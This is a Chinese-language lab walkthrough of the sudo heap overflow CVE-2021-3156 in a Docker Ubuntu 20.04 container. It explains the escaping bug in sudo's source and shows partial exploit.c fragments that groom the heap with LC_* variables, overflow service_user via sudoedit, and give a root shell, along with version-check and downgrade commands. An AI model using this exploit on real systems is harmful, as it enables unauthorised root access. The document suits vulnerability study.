使用Dockerfille创建镜像
docker build -t cve-2021-3156:ubuntu2004 .
使用镜像创建容器
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
在 Sudo 1.9.5p2 之前版本 中,存在一个 off-by-one 错误,可能导致 基于堆的缓冲区溢出。
攻击者可以通过执行:
sudoedit -s <参数以单个反斜杠 `\` 结尾>
在无需密码的情况下将权限提升至 root。
以sudo1.8.31p1版本sudo源码为例,在执行sudoedit -s时,如果存在转义字符\输入的情况下,会首先调用parse_args.c中的parse_args函数对命令中的进行转义操作。下面这部分代码将对输入的特殊字符进行转义处理。
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
接下来,程序在将外部输入的参数保存在内存的堆或栈空间之前,会调用sudoers.c文件中的set_cmnd函数把命令行参数复制到堆内存,其中需要将利用下面代码去除所有的转义字符\。
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
问题在于: 当 parse_args 未对参数转义时(即未插入额外的 \),程序后续仍然也会进入到set_cmnd函数中消除转义,但是由于没有对输入的\进行转义操作,导致进入set_cnmd函数后满足了if的判断条件,跳过\,并拷贝\后续的参数进入user_args当中,此时如果拷贝内容过长则会出现堆溢出。
exp由两部分组成:exploit.c 和 shellcode.c,其中 exploit.c 负责构造 argv 和 envp 以及通过 execve 调用 sudoedit,并通过堆溢出进行漏洞利用。
exploit.c 中,程序通过构造大小为 0xf0 的缓冲区 (buf) 来精确控制堆布局,利用缓冲区溢出覆盖关键结构体。溢出的大小由 buf 的填充 ('Y' 和 \) 来控制,之后通过 execve 调用 sudoedit 来触发漏洞。 char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* 环境变量进行堆调整。通过这些环境变量的布局,目标结构体 service_user 被分配到溢出路径中。溢出的数据通过 overflow 环境变量进行传递,并覆盖 service_user 结构的字段。 char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp 数组,将溢出数据传递给 sudoedit,从而覆盖目标结构并实现漏洞利用。 char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// 省略部分内容
NULL};
execve 调用触发 sudoedit 的执行。 execve("/usr/bin/sudoedit", argv, envp);
在 Ubuntu 20.04 上测试,针对 sudo 1.8.31
可以通过以下命令检查你的 sudo 版本是否存在漏洞:
$ sudoedit -s Y
如果提示输入密码,则说明很可能存在漏洞;如果打印出使用信息,则说明该版本没有漏洞。
可以通过以下命令将 Ubuntu 20.04 上的 sudo 降级到易受攻击的版本以进行测试:
$ sudo apt install sudo=1.8.31-1ubuntu1
使用方法 执行 make 编译并执行漏洞利用:
$ make
$ ./exploit
成功利用漏洞后,获得了一个交互式的 root shell,能够执行特权操作。
